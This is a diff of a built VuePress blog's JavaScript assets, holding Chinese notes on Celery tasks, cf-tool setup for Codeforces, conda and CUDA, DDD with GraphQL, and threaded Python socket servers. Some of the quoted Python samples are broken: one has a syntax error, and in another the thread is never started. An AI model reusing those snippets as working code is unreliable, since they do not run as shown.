725c","/python/cv/conda.html",{title:"环境部署"},[":md"]],["v-d7f6c430","/python/cv/cuda.html",{title:"cuda"},[":md"]],["v-d6e05f70","/python/cv/pytorch.html",{title:"pytorch"},[":md"]],["v-3e81f7f2","/python/cv/%E5%9F%BA%E4%BA%8Eyolov5%E7%9A%84cf%E8%87%AA%E7%9E%84.html",{title:"基于yolov5的cf自瞄"},["/python/cv/基于yolov5的cf自瞄.html","/python/cv/基于yolov5的cf自瞄.md",":md"]],["v-689f17cc","/python/cv/%E9%83%A8%E7%BD%B2paddle%E6%A1%86%E6%9E%B6%E4%B9%8Bocr.html",{title:"部署paddle框架之ocr"},["/python/cv/部署paddle框架之ocr.html","/python/cv/部署paddle框架之ocr.md",":md"]],["v-3706649a","/404.html",{title:""},[]]];var fi=de({name:"Vuepress",setup(){const e=Ou();return()=>ce(e.value)}}),gm=()=>_m.reduce((e,[t,n,o,l])=>(e.push({name:t,path:n,component:fi,meta:o},{path:n.endsWith("/")?n+"index.html":n.substring(0,n.length-5),redirect:n},...l.map(r=>({path:r===":md"?n.substring(0,n.length-5)+".md":r,redirect:n}))),e),[{name:"404",path:"/:catchAll(.*)",component:fi}]),bm=nd,Am=()=>{const e=$d({history:bm(us("/")),routes:gm(),scrollBehavior:(t,n,o)=>o||(t.hash?{el:t.hash}:{top:0})});return e.beforeResolve(async(t,n)=>{var o;(t.path!==n.path||n===pt)&&([t.meta._data]=await Promise.all([ht.resolvePageData(t.name),(o=hs[t.name])==null?void 0:o.__asyncLoader()]))}),e},ym=e=>{e.component("ClientOnly",Hl),e.component("Content",Mu)},Bm=(e,t,n)=>{const o=li(()=>t.currentRoute.value.path),l=li(()=>ht.resolveRouteLocale(on.value.locales,o.value)),r=hf(o,()=>t.currentRoute.value.meta._data),i=j(()=>ht.resolveLayouts(n)),a=j(()=>ht.resolveSiteLocaleData(on.value,l.value)),s=j(()=>ht.resolvePageFrontmatter(r.value)),c=j(()=>ht.resolvePageHeadTitle(r.value,a.value)),u=j(()=>ht.resolvePageHead(c.value,s.value,a.value)),d=j(()=>ht.resolvePageLang(r.value,a.value)),f=j(()=>ht.resolvePageLayout(r.value,i.value));return e.provide(Du,i),e.provide(ps,r),e.provide(ms,s),e.provide(Ru,c),e.provide(Es,u),e.provide(vs,d),e.provide(_s,f),e.provide($l,l),e.provide(bs,a),Object.defineProperties(e.config.globalProperties,{$frontmatter:{get:()=>s.value},$head:{get:()=>u.value},$headTitle:{get:()=>c.value},$lang:{get:()=>d.value},$page:{get:()=>r.value},$routeLocale:{get:()=>l.value},$site:{get:()=>on.value},$siteLocale:{get:()=>a.value},$withBase:{get:()=>ql}}),{layouts:i,pageData:r,pageFrontmatter:s,pageHead:u,pageHeadTitle:c,pageLang:d,pageLayout:f,routeLocale:l,siteData:on,siteLocaleData:a}},km=()=>{const e=Tu(),t=Pu(),n=_e([]),o=()=>{e.value.forEach(r=>{const i=wm(r);i&&n.value.push(i)})},l=()=>{document.documentElement.lang=t.value,n.value.forEach(r=>{r.parentNode===document.head&&document.head.removeChild(r)}),n.value.splice(0,n.value.length),e.value.forEach(r=>{const i=xm(r);i!==null&&(document.head.appendChild(i),n.value.push(i))})};Kt(Iu,l),je(()=>{o(),l(),Ge(()=>e.value,l)})},wm=([e,t,n=""])=>{const o=Object.entries(t).map(([a,s])=>Ee(s)?`[${a}=${JSON.stringify(s)}]`:s===!0?`[${a}]`:"").join(""),l=`head > ${e}${o}`;return Array.from(document.querySelectorAll(l)).find(a=>a.innerText===n)||null},xm=([e,t,n])=>{if(!Ee(e))return null;const o=document.createElement(e);return Ml(t)&&Object.entries(t).forEach(([l,r])=>{Ee(r)?o.setAttribute(l,r):r===!0&&o.setAttribute(l,"")}),Ee(n)&&o.appendChild(document.createTextNode(n)),o},Lm=gu,Dm=async()=>{var n;const e=Lm({name:"VuepressApp",setup(){var o;km();for(const l of co)(o=l.setup)==null||o.call(l);return()=>[ce(Ps),...co.flatMap(({rootComponents:l=[]})=>l.map(r=>ce(r)))]}}),t=Am();ym(e),Bm(e,t,co);for(const o of co)await((n=o.enhance)==null?void 0:n.call(o,{app:e,router:t,siteData:on}));return e.use(t),{app:e,router:t}};Dm().then(({app:e,router:t})=>{t.isReady().then(()=>{e.mount("#app")})});export{we as _,Fc as a,pe as b,te as c,Dm as createVueApp,It as d,le as e,z as o,gt as r,Ve as w}; +function __vite__mapDeps(indexes) { + if (!__vite__mapDeps.viteFileDeps) { + __vite__mapDeps.viteFileDeps = ["assets/cf-tools.html-6fH2SBD0.js","assets/20200216004851429_31590-ycX-VYgZ.js","assets/vscode替代codeblock.html-QvZWRnPv.js","assets/博客搭建.html-z_tV2tys.js","assets/20200911144457950_30869-783m7FV3.js","assets/数据整理.html-nkuQTRl9.js"] + } + return indexes.map((i) => __vite__mapDeps.viteFileDeps[i]) +} \ No newline at end of file diff --git "a/assets/celery\345\274\202\346\255\245\344\273\273\345\212\241.html-0BnblJpL.js" "b/assets/celery\345\274\202\346\255\245\344\273\273\345\212\241.html-0BnblJpL.js" new file mode 100644 index 0000000..edb6301 --- /dev/null +++ "b/assets/celery\345\274\202\346\255\245\344\273\273\345\212\241.html-0BnblJpL.js" @@ -0,0 +1,45 @@ +import{_ as n,o as s,c as e,a}from"./app-x8p6wK6B.js";const t={},i=a(` # celery异步任务
在使用celery时,需要控制异步任务
任务终止有多种情况
- 任务内部错误
- celery被杀死
- 手动结束任务(通过celery控制)
这些需要我们特殊注意
@shared_task(ignore_result=True, time_limit=3600*24) +def scan(task_id, report_id): + + def handle_stop(*args, **kwargs): + pass + # 这里如果需要修改任务状态,则一定需要判断任务是否已结束, + # 停止任务之后保留任务记录, + # 杀死celery会走这里(SIGQUIT), 然后celery给该进程发送指令 + # bug:任务已完成,但是celery进程还在,那么退出celery仍旧会执行handle_stop,因此需要在stop中增加对任务状态的判断。 + # 如果机器断电,肯定走不到这里,所以需要在启动django的时候,将所有运行中的任务修改为失败 + + signal.signal(signal.SIGTERM, handle_stop) # 这里注册是对整个celery worker生效,因此 + try: + openvas_scan(task_id, report_id) + except Exception as e: + with open("/home/bolean/logs/vulscan.los", 'a', encoding='utf8') as f: + f.write("漏洞扫描任务_{}_{}异常结束:handle_stop but in try except\\n".format(task_id, report_id)) + logger.warning("handle_stop, but in try except") + handle_stop() + +
# 异步任务prefork gevent的选择
使用gevent时,遇到问题
+Traceback (most recent call last): + File "/mnt/bolean/venv/lib/python3.10/site-packages/celery/app/trace.py", line 451, in trace_task + R = retval = fun(*args, **kwargs) + File "/mnt/bolean/venv/lib/python3.10/site-packages/celery/app/trace.py", line 734, in __protected_call__ + return self.run(*args, **kwargs) + File "/mnt/bolean/sdp-backend/fuzz_testing/tasks.py", line 496, in task_test_case_result + test_case_obj = FuzzTestingTestCase.objects.get(id=test_case_id) + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/manager.py", line 85, in manager_method + return getattr(self.get_queryset(), name)(*args, **kwargs) + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/query.py", line 492, in get + num = len(clone) + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/query.py", line 302, in __len__ + self._fetch_all() + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/query.py", line 1507, in _fetch_all + self._result_cache = list(self._iterable_class(self)) + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/query.py", line 57, in __iter__ + results = compiler.execute_sql( + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/db/models/sql/compiler.py", line 1359, in execute_sql + cursor = self.connection.cursor() + File "/mnt/bolean/venv/lib/python3.10/site-packages/django/utils/asyncio.py", line 24, in inner + raise SynchronousOnlyOperation(message) +django.core.exceptions.SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async. + +
也就是说FuzzTestingTestCase.objects.get(id=test_case_id) 这个不能在gevent下执行
但是 这样的命令时可以执行的
`,11),l=[i];function o(c,p){return s(),e("div",null,l)}const r=n(t,[["render",o],["__file","celery异步任务.html.vue"]]);export{r as default}; diff --git "a/assets/celery\345\274\202\346\255\245\344\273\273\345\212\241.html-SxBcjfXw.js" "b/assets/celery\345\274\202\346\255\245\344\273\273\345\212\241.html-SxBcjfXw.js" new file mode 100644 index 0000000..f7be262 --- /dev/null +++ "b/assets/celery\345\274\202\346\255\245\344\273\273\345\212\241.html-SxBcjfXw.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-02431a08","path":"/python/celery%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1.html","title":"celery异步任务","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"异步任务prefork gevent的选择","slug":"异步任务prefork-gevent的选择","link":"#异步任务prefork-gevent的选择","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/celery异步任务.md"}');export{e as data}; diff --git a/assets/cf-tools.html-6fH2SBD0.js b/assets/cf-tools.html-6fH2SBD0.js new file mode 100644 index 0000000..304c83c --- /dev/null +++ b/assets/cf-tools.html-6fH2SBD0.js @@ -0,0 +1,27 @@ +import{_ as t,a as o}from"./20200216004851429_31590-ycX-VYgZ.js";import{_ as n,r as l,o as a,c as p,d as c,b as e,e as i,a as d}from"./app-x8p6wK6B.js";const r="/assets/20200216005034283_6861-hoVHTvC9.png",u="/assets/20200216003909531_3860-Kd-pzYyS.png",m="/assets/20200216003958555_8778-v9lJg-BZ.png",h="/assets/20200216001653735_883-IQNkpcp5.png",f="/assets/20200216005527217_28042-hRMqyCAE.png",_="/assets/20200216010453980_27238-hTvJHllu.png",g="/assets/20200216010203757_32340-VomJlKL_.png",v="/assets/20200216010658929_2127--mQBQPAm.png",b="/assets/20200216011139813_4073-CFm4jt_m.png",x="/assets/20200216011249181_32265-KdC56aiJ.png",w="/assets/20200216012809191_27147-cjku2_ER.png",q="/assets/20200216015749119_31992-XAlIPdu_.png",$="/assets/20200216020006936_26223-6nqb2gLR.png",y="/assets/20200216020115513_27857-2qK9dJpn.png",k="/assets/20200216020714652_5899-vsZEi9Fr.png",E="/assets/20200216020814094_3886-Y1sov4DF.png",I={},N=e("h1",{id:"cf-tools",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#cf-tools","aria-hidden":"true"},"#"),c(" cf-tools")],-1),D=e("div",{style:{float:"right"}},[e("table",null,[e("thead",null,[e("tr",null,[e("th",null,"时间"),e("th",null,"作者")])]),e("tbody",null,[e("tr",null,[e("td",null,"2020/2/16 0:43"),e("td",null,"moyechen")])])])],-1),T={href:"https://github.com/xalanq/cf-tool/",target:"_blank",rel:"noopener noreferrer"},C=e("p",null,"cf-tool 是 Codeforces 的命令行界面的跨平台(支持 Windows、Linux、OS X)工具,其支持很多常用操作。",-1),L=e("h3",{id:"cf-tool下载",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#cf-tool下载","aria-hidden":"true"},"#"),c(" cf-tool下载")],-1),V={href:"https://github.com/xalanq/cf-tool/releases",target:"_blank",rel:"noopener noreferrer"},Y=d('models.Host.objects.filter(id=host_id, status=VulHostStatus.RUNNING.value).exists()
之后的更新可以直接使用 upgrade 命令获取。
# windows准备工作
你的电脑需要编译器才能调试你编写的代码
对于c/cpp, 我们需要g++这款编译器 如果你拥有自带mingw的code:block这款IDE, 可以从如下位置找到
▲将第三张图片红框中的路径复制下来, 记做
compiler_path
将这个路径添加到环境变量中,什么,你还不会添加路径到环境变量? 点击以获得讲解
否则,可以访问 https://www.jianshu.com/p/ff24a81f3637 ,参考教程下载g++编译器
# 测试编译器是否可用
按住win键,然后输入r,在弹出的框中输入cmd
此时会打开一个黑框框
输入g++
如果出现下图,这说明编译器准备完毕
# 添加cf.exe到环境变量
首先先将下载到的cf.exe文件放到一个合适的目录
右击 我的电脑,在弹出的下来框中选择 属性 这个选项 然后按下图操作
至此, 打开cmd,输入cf,如果显示以下内容,即为cf 环境变量配置成功
# LINUX 准备工作
# 准备cf
将下载到cf 文件放在合适的目录,进入这个目录
执行以下命令,给予执行权限并创建软连接
+chmod 775 ./cf +ln ./cf /usr/bin/cf + +
输入cf 出现下图则成功
# linux测试g++编译器是否可用
输入g++,出现下图,则为正常
如果没有, 请自行安装g++编译器
# 配置cf
终于将准备工作做完了
我们可以开始配置了
windows用户请打开cmd linxu 用户请进入shell
下图是我在linux的终端上操作的,windows和linux通用
输入以下命令
cf config
- username and password > 这个是用来配置用户名以及密码
- add a template > 添加一个代码模板,可以指定语言
- delete a template > 删除一个模板
- 设置默认模板
- 在解析题目结束后,自动生成模板代码
- 设置网站主体, 比如在中国我们可以设置为镜像站
https://codeforces.ml
以获得更好的体验我们选择1
然后选择你要使用的编译器, 这里我们使用42号编译器
GNU G++11 5.1.0
紧接着
可以看到, cf-tool 提供了一些变量,比如 年月日, 以及你的用户名
这里我提供一个模板
#include<bits/stdc++.h> +using namespace std; +typedef long long ll; + +/* +$%U%$ +$%Y%$-$%M%$-$%D%$ $%h%$:$%m%$ +*/ + +const int maxn = 5e5 + 5; +const int inf = 0x3f3f3f3f; + + +int main() { + std::ios::sync_with_stdio(false); + cin.tie(0); + + return 0; +} +
你只需要复制到一个地方,然后记住他的绝对路径,并输入即可 例如:
~/template.cpp
(适用于linux)D:/template.cpp
(适用于windows,需要带上盘符)在输入后, 配置程序给了几个询问,我来分别做以下解释
The suffix of template above will be added by default. Other suffix? (e.g. "cxx cc"), empty is ok:
默认情况下,将添加上面模板的后缀。 需要添加其他后缀吗?(例如,“cxx cc”),空的也是可以:
这里我们不需要了,所以直接回车
Template's alias (e.g. "cpp" "py"):
模板别名,因为我们用的是cpp, 因此我输入了cpp, 别名在使用 cf gen 生成模板代码时可以用到, 比如输入cf gen cpp, 就会生成我们刚刚添加的模板
Script in template: Template will run 3 scripts in sequence when you run "cf test":
- before_script (execute once) + - script (execute the number of samples times) + - after_script (execute once) +
You could set "before_script" or "after_script" to empty string, meaning not executing. You have to run your program in "script" with standard input/output (no need to redirect).
You can insert some placeholders in your scripts. When execute a script, cf will replace all placeholders by following rules:
$%path%$ Path to source file (Excluding $%full%$, e.g. "/home/xalanq/") $%full%$ Full name of source file (e.g. "a.cpp") $%file%$ Name of source file (Excluding suffix, e.g. "a") $%rand%$ Random string with 8 character (including "a-z" "0-9")
这一段讲的是工具的运作原理
在你输入cf test之后
- 首先工具执行你输入的
before_script
脚本, 例如g++ $%full%$ -o /tmp/a.out -std=c++11
, 来编译代码,并生成到/tmp/a.out
- 然后执行 你输入的script脚本, 例如
/tmp/a.out
,这代表执行这个刚刚编译好的程序, (ps, 这一步 是用来执行程序的)- 接下来执行你输入的
after_script
脚本,例如执行rm $%file%$.exe
以将刚刚编译好的程序删除, 防止占用硬盘空间(ps. 一般来说,acm的代码不超过5kb, 但是编译好的控制台应用程序一般在1mb左右, 但是这个程序我们只用一次,比较浪费空间,因此可以在执行后删除)下面我讲解一下我的输入
- 对于第一个问题
before_script
.我的回答是g++ $%full%$ -o /tmp/a.out -std=c++11
, 我每次都生成到同一个地方, 这次生成的会覆盖掉上次生成的, 也不需要删除了,其中/tmp/a.out
是一个生成的路径,-std=c++11
是执行的c++标准, 我们可以改为-std=c++14
或者-std=c++17
以享用新特性
- 在windows上,路径可以更改为
D:/tmp.exe
等等等等,需要加上盘符- 对于第二个问题
script
. 我的回答是/tmp/a.out
, 无论是linux 还是windows ,都需要写的是生成的文件的绝对路径- 第三个问题
after_script
.我们不需要任何处理,因此,直接回车最后,它询问我是否作为默认设置, 输入
y
确认至此, 配置结束
# 简单的流程
准备比赛了, 首先拿到比赛编号,
▲可以在url中看到比赛编号
控制台输入
cf race 比赛编号
▼它就会为你解析比赛测试样例,并打开题面网站
▼如果比赛未开始,他会自动等待,然后在开始的一瞬间为你解析数据
然后使用
cd
命令切换到比赛目录,并进入a题文件夹
cd 比赛编号\\a
使用
cf gen
命令生成一个模板你可以使用别名,这样根据你对应的模板生成代码
cf gen cpp
然后开始编写你的代码:
- 在linux 上 :
vim a.cpp
- 在windows上: 如果装有vscode ,则可以使用
code -r a.cpp
,否则, 可以使用notepad a.cpp
使用记事本,当然,你也可以在你的IDE中添加这个文件夹,以使用IDE编写代码编写结束 使用
cf test
测试样例数据很好, 样例过了
使用
cf submit
提交你所在目录的题目过题,
然后使用cd命令切换到其他题目的目录, 继续重复操作
',72);function B(J,F){const s=l("ExternalLinkIcon");return a(),p("div",null,[N,D,c(" ## 下载&准备工作 "),e("p",null,[c("GitHub 地址: "),e("a",T,[c("xalanq/cf-tool"),i(s)])]),C,L,e("p",null,[c("前往 "),e("a",V,[c("cf-tool/releases"),i(s)]),c(" 下载最新版。")]),Y])}const S=n(I,[["render",B],["__file","cf-tools.html.vue"]]);export{S as default}; diff --git a/assets/cf-tools.html-xEbAAg4N.js b/assets/cf-tools.html-xEbAAg4N.js new file mode 100644 index 0000000..ee6ac71 --- /dev/null +++ b/assets/cf-tools.html-xEbAAg4N.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-2d9e888d","path":"/notebook/cf-tools.html","title":"cf-tools","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"cf-tool下载","slug":"cf-tool下载","link":"#cf-tool下载","children":[]},{"level":3,"title":"windows准备工作","slug":"windows准备工作","link":"#windows准备工作","children":[]},{"level":3,"title":"LINUX 准备工作","slug":"linux-准备工作","link":"#linux-准备工作","children":[]},{"level":2,"title":"配置cf","slug":"配置cf","link":"#配置cf","children":[]},{"level":2,"title":"简单的流程","slug":"简单的流程","link":"#简单的流程","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/cf-tools.md"}');export{l as data}; diff --git a/assets/conda.html-8vWzKDUw.js b/assets/conda.html-8vWzKDUw.js new file mode 100644 index 0000000..afceb65 --- /dev/null +++ b/assets/conda.html-8vWzKDUw.js @@ -0,0 +1 @@ +import{_ as a,o as e,c as n,a as d}from"./app-x8p6wK6B.js";const c="/assets/325013368947114-V-SvYCjT.png",o={},i=d('# 环境部署
# cuda
nvidia-smi 可以查看
# cudaa
# conda
科学计算时,使用conda可以方便的部署所需的python环境
# conda vs anconda
https://zhuanlan.zhihu.com/p/379321816
# 安装
# 使用
查看版本信息 conda -V
创建虚拟环境 conda create -n your_env_name python=x.x
激活 conda active your_env_name
查看已经创建的虚拟环境 conda env list
conda info -e设置国内镜像
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
conda config --set show_channel_urls yes
- 恢复使用国内
conda config --remove-key channels
',16),r=[i];function h(t,s){return e(),n("div",null,r)}const p=a(o,[["render",h],["__file","conda.html.vue"]]);export{p as default}; diff --git a/assets/conda.html-uf0UMaKT.js b/assets/conda.html-uf0UMaKT.js new file mode 100644 index 0000000..a267f59 --- /dev/null +++ b/assets/conda.html-uf0UMaKT.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-7443725c","path":"/python/cv/conda.html","title":"环境部署","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"cuda","slug":"cuda","link":"#cuda","children":[]},{"level":2,"title":"cudaa","slug":"cudaa","link":"#cudaa","children":[]},{"level":2,"title":"conda","slug":"conda","link":"#conda","children":[{"level":3,"title":"conda vs anconda","slug":"conda-vs-anconda","link":"#conda-vs-anconda","children":[]},{"level":3,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":3,"title":"使用","slug":"使用","link":"#使用","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/cv/conda.md"}');export{l as data}; diff --git a/assets/cuda.html-Vr_7SkES.js b/assets/cuda.html-Vr_7SkES.js new file mode 100644 index 0000000..6775209 --- /dev/null +++ b/assets/cuda.html-Vr_7SkES.js @@ -0,0 +1 @@ +import{_ as e,o as d,c as a,b as c,d as n}from"./app-x8p6wK6B.js";const t={},o=c("h1",{id:"cuda",tabindex:"-1"},[c("a",{class:"header-anchor",href:"#cuda","aria-hidden":"true"},"#"),n(" cuda")],-1),s=c("p",null,"cuda的下载和管理,可以从nvidia官方网站下载,需配合cudnn版本使用",-1),_=c("p",null,"如果要pytorch,要下指定版本的cuda、cudnn,并配置环境变量 如果要paddle,也是要下指定版本的cuda、cudnn,并配置环境变量",-1),u=c("p",null,"多种库、多种版本,对应的cuda版本,也不相同",-1),l=c("p",null,"可以使用conda管理",-1),r=[o,s,_,u,l];function i(h,p){return d(),a("div",null,r)}const m=e(t,[["render",i],["__file","cuda.html.vue"]]);export{m as default}; diff --git a/assets/cuda.html-yP6QwKyU.js b/assets/cuda.html-yP6QwKyU.js new file mode 100644 index 0000000..189c8d9 --- /dev/null +++ b/assets/cuda.html-yP6QwKyU.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-d7f6c430","path":"/python/cv/cuda.html","title":"cuda","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/cv/cuda.md"}');export{t as data}; diff --git "a/assets/ddd_graphql\346\225\260\346\215\256\346\265\201.html-P651VC0Z.js" "b/assets/ddd_graphql\346\225\260\346\215\256\346\265\201.html-P651VC0Z.js" new file mode 100644 index 0000000..37f99ae --- /dev/null +++ "b/assets/ddd_graphql\346\225\260\346\215\256\346\265\201.html-P651VC0Z.js" @@ -0,0 +1,4 @@ +import{_ as e,o as t,c as p,a as r}from"./app-x8p6wK6B.js";const a={},d=r(`# ddd+graphql数据流
数据流 kong就是openresty的一个应用,nginx
前端 -> kong (解析token,装上user信息)->后端
-> controller层 ->resolve-> types -> graphql input -> 封装为command
-> 应用层-> mutation_service -> 调用各种domain、repo方法, -> domain 层, 领域方法 -> 调用domain层repo的方法(实现在infrastructure中),持久化到db
返回数据,在应用层中定义了各种Representation,可以序列化数据
与Django的映射: types = view之前的数据解析 apps = view
问题1:数据校验,唯一性校验应该db实现 问题2:数据默认值,应该在orm层实现,还是在app层实现 问题3:选择输入,如何判断输入数据有效性?
基础的,应该在domain的validate中定义,抛出ValueError即可 +复杂的,比如增加工段需要工序id,就需判断工序id是否存在,是否同一个租户下的, + 这种应该在app层实现 +
问题4:关联关系时,db-orm只存储关联的id,那聚合根的model如何写? graphql的types怎么写?中间如何转换
`,10),o=[d];function n(i,s){return t(),p("div",null,o)}const g=e(a,[["render",n],["__file","ddd_graphql数据流.html.vue"]]);export{g as default}; diff --git "a/assets/ddd_graphql\346\225\260\346\215\256\346\265\201.html-kRRHB29s.js" "b/assets/ddd_graphql\346\225\260\346\215\256\346\265\201.html-kRRHB29s.js" new file mode 100644 index 0000000..a29fe32 --- /dev/null +++ "b/assets/ddd_graphql\346\225\260\346\215\256\346\265\201.html-kRRHB29s.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-046aced0","path":"/notebook/graphql/ddd_graphql%E6%95%B0%E6%8D%AE%E6%B5%81.html","title":"ddd+graphql数据流","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/graphql/ddd+graphql数据流.md"}');export{t as data}; diff --git a/assets/django.html-Ety7BvIO.js b/assets/django.html-Ety7BvIO.js new file mode 100644 index 0000000..d701ffa --- /dev/null +++ b/assets/django.html-Ety7BvIO.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-736bb064","path":"/python/django.html","title":"django","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/django.md"}');export{t as data}; diff --git a/assets/django.html-LrCE0hnu.js b/assets/django.html-LrCE0hnu.js new file mode 100644 index 0000000..13eecc0 --- /dev/null +++ b/assets/django.html-LrCE0hnu.js @@ -0,0 +1,209 @@ +import{_ as n,o as s,c as a,a as e}from"./app-x8p6wK6B.js";const t={},p=e(`# django
作者:PegasusWang 链接:https://www.zhihu.com/question/56472691/answer/292510026 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
简单的说就是服务端监听 每次 accept 一个新的请求后,开一个处理 这个 socket 客户连接。如果你对底层实现原理感兴趣,可以继续看下去,从 socket 编程的角度来解释多线程 server。最后附上一个异步框架工作过程的视频讲解。这里我们自己撸一个简单的多线程 wsgi server 来看下原理,还是需要深入源码和 socket 编程你才能真正理解。 我们从 python 自带的一个 wsgi server 看下如何实现多线程处理请求。首先你需要熟悉下 wsgi。 看一个最简单的 wsgi app:
#!/usr/bin/env python +# -*- coding:utf-8 -*- + + +def application(environ, start_response): + status = '200 OK' + headers = [('Content-Type', 'text/html; charset=utf8')] + + start_response(status, headers) + return [b"<h1>Hello</h1>"] + + +if __name__ == '__main__': + from wsgiref.simple_server import make_server + httpd = make_server('127.0.0.1', 8000, application) + httpd.serve_forever() +
然后用你的开发工具跟进去 make_server 这个函数,看下它的定义:
# lib/python2.7/wsgiref/simple_server.py + +def make_server( + host, port, app, server_class=WSGIServer, handler_class=WSGIRequestHandler +): + """Create a new WSGI server listening on \`host\` and \`port\` for \`app\`""" + server = server_class((host, port), handler_class) + server.set_app(app) + return server + +class WSGIServer(HTTPServer): + + """BaseHTTPServer that implements the Python WSGI protocol""" + + application = None + + def server_bind(self): + """Override server_bind to store the server name.""" + HTTPServer.server_bind(self) + self.setup_environ() + + def setup_environ(self): + # Set up base environment + env = self.base_environ = {} + env['SERVER_NAME'] = self.server_name + env['GATEWAY_INTERFACE'] = 'CGI/1.1' + env['SERVER_PORT'] = str(self.server_port) + env['REMOTE_HOST']='' + env['CONTENT_LENGTH']='' + env['SCRIPT_NAME'] = '' + + def get_app(self): + return self.application + + def set_app(self,application): + self.application = application +
看到这个 WSGIServer 定义了吗,继承了一个 HttpServer。我们再继续追一下其定义:
# lib/python2.7/BaseHTTPServer.py + +class HTTPServer(SocketServer.TCPServer): + + allow_reuse_address = 1 # Seems to make sense in testing environment + + def server_bind(self): + """Override server_bind to store the server name.""" + SocketServer.TCPServer.server_bind(self) + host, port = self.socket.getsockname()[:2] + self.server_name = socket.getfqdn(host) + self.server_port = port +
到这里,我们继续追,看到 TcpServer 定义:
# lib/python2.7/SocketServer.py + +class TCPServer(BaseServer): + """这里我省略了定义""" +
你还可以发现一个 ThreadingTCPServer 类:我们看下它的定义
class ThreadingTCPServer(ThreadingMixIn, TCPServer): + pass +
好了,怎么多线程处理请求呢?看下这个 ThreadingMixIn 类是如何实现的:
class ThreadingMixIn: + """Mix-in class to handle each request in a new thread.""" + + # Decides how threads will act upon termination of the + # main process + daemon_threads = False + + def process_request_thread(self, request, client_address): + """Same as in BaseServer but as a thread. + + In addition, exception handling is done here. + + """ + try: + self.finish_request(request, client_address) + self.shutdown_request(request) + except: + self.handle_error(request, client_address) + self.shutdown_request(request) + + def process_request(self, request, client_address): + """Start a new thread to process the request.""" + t = threading.Thread(target = self.process_request_thread, + args = (request, client_address)) + t.daemon = self.daemon_threads + t.start() +
看到吗,其实就是对于每个新请求,会启动一个新的线程来处理 socket 请求。假如让我们自己实现一个多线程 socket server 应该怎么实现呢?先来写一个简单的单线程 socker echo server:
from socket import * # 偷懒这么写 +s = socket(AF_INET, SOCK_STREAM) +s.bind(("", 9000)) +s.listen(5) +while True: + c, a = s.accept() + print "Received connection from", a + c.send("Hello %s\\\\n" % a[0]) + c.close() +
你可以用telnet之类的工具连上该端口看效果。 这样一次只能处理一个请求,如果想每次来一个请求用一个线程处理呢?我们可以这样做:
import threading +from socket import * + +def handle_client(c): + # 处理 client 请求 + c.send("Hello\\n") + c.close() + return + +s = socket(AF_INET, SOCK_STREAM) +s.bind(("", 9000)) +s.listen(5) +while True: + c, a = s.accept() + t = threading.Thread(target=handle_client, + args=(c,)) +
是不是很简单,这其实就是多线程工作的原理,每次 accept 得到一个新的客户端请求以后开一个线程去处理。当然 socket 编程还是偏底层,我们刚才看到了 python 提供了 SocketServer 模块来简化 socket 编程。我们使用 SocketServer 模块来发送数据:
import SocketServer +import time + +class TimeHandler(SocketServer.BaseRequestHandler): + def handle(self): + # self.request 是一个 client socket 对象 + self.request.sendall(.ctime() + "\\n") + +serv = SocketServer.TCPServer(("", 8889), TimeHandler) +serv.serve_forever() +
它的执行原理是这样的:server 等待请求到来对每个 socket 连接,server 创建一个新的 handler 类handle() 方法调用处理 client socket 对象,比如发送数据handle() 方法返回后,连接关闭,同时 handler 实例对象销毁但是这个 server 的处理能力很差,一次只能处理一个请求,我们看下这个模块提供了几个类:TCPServer: 同步的 tcp serverForkingTCPServer: 多进程 tcp serverThreadingTCPServer: 多线程 tcp server怎么实现一个多线程 tcp server 呢?很简单:
# 改成 ThreadingTCPServer 就行了,代码其他部分不动 +serv = SocketServer.ThreadingTCPServer(("",8000),TimeHandler) +serv.serve_forever() + +
这样一来,新的请求就能被新的线程去处理了。我们就通过线程来增强了并发能力,当然线程开销比较大,不如用协程(抽空会写个用协程实现异步的socker server)。 如果你浏览该模块,还能看到两个 Mixin:ForkingMixinThreadingMixIn我们只要继承它们就很容易实现一个多进程或者多线程的 server,比如实现一个多线程的 HTTPServerfrom BaseHTTPServer
import HTTPServer +from SimpleHTTPServer import SimpleHTTPRequestHandler +from SocketServer import ThreadingMixIn + +class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): + pass + +serv = ThreadedHTTPServer(("", 8080), SimpleHTTPRequestHandler) +
好了,看了这么多让我们改造下 Python 自带的 wsgi server 为多线程的:
